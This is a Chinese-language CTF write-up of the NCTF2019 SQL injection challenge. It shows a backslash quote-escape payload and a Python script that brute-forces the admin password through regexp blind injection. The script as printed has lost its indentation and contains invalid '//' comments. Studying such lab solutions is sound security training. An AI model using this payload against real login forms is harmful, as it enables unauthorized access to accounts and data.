[NCTF2019]SQLi

知识点

基于regexp的盲注

审题

很简洁 又是个sql注入题 而且题目把sql语句已经放在了题目下面 甚至和注入类型都告诉你是字符型了 我已经能想到这道题的waf会有多丧心病狂 fuzz一下

解题思路

嚯 这过滤 基本的手工 盲注全部都不行 继续审题 尝试着挣扎了一会没啥进展 瞟了一眼别人的wp 竟然把hint藏在robots.txt里面

题目很明确的告诉了我们过滤的字段以及我们的目标 只要找到登录密码就能拿到flag 并且账号是admin
这题用到的是regexp进行的盲注(因为只有他没被过滤 这边贴上regexp的用法 SQL_REGEXP 很明显 regexp是sql里的正则匹配表达式 其实思路和bool盲注一样 一位一位的爆破 只不过bool盲注是以位为单位 而regexp是以字符串为单位 具体可以参考刚刚的链接和[GYCTF2020]Ezsqli我写的这篇随笔(骗骗访问量 两道题解题思路其实是一样的 只不过函数不一样

穷途末路

虽然知道要爆破的用户名是admin 但是填admin的话会被弹出hacker! 并且username过滤的太死了 单引号 注释符 这的那的都给过滤死了 又是字符型 没办法闭合引号 passwd那一栏也是 令人绝望的过滤 唯一的思路就是猜测存储用户名密码的信息在一张表里并且字段名就是admin和passwd(猜的

柳暗花明

想起了之前再写反序列化的题目的时候 那些令人讨厌的单引号都用反斜杠来转义 灵光一现 如果说我在username一栏输入反斜杠 并且在passwd输入||(手动内敛注释passwd(手动内敛注释regexp(手动内敛注释"^a";%00的话 那么sql查询语句就会变成

1
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/\"^a\";%00'

这可有大用处 这使我们的' and passwd=变成了我们提交的用户名 而密码||(手动内敛注释passwd(手动内敛注释regexp(手动内敛注释"^a";%00’变成了数字型注入 也就是没有单引号 而;%00在url中也是注释的意思(或者说截断 也就是把最后的单引号也给注释了 起飞 而passwd就是我们要爆破的字段名 因为我们查询的是passwd 推测和username在一张表 就不用再繁琐的注入了 下面实现脚本全自动注入(gtmd markdown

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
from urllib import parse
import string
url = 'http://1355ec4d-dba0-44bc-895a-c4b14c1b44b5.node3.buuoj.cn/'
num = 0
result = ''
string= string.ascii_lowercase + string.digits + '_'//密码由小写字母 数字 下划线组成(实验证明
for i in range (1,60):
if num == 1 :
break
for j in string:
data = {
"username":"\\",//"\"转义"\"
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((result+j),parse.unquote('%00'))
}
print(result+j)
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
result += j
break
if j=='_' and 'welcome' not in res.text:
break

其中可能会有读者直接在登录框里面敲%00 那样会导致%00被转义而失去作用 在python脚本里面 我们用parse.unquote(‘%00’)表示不进行转义的%00 这样就能爆出密码 从而拿到flag

EOF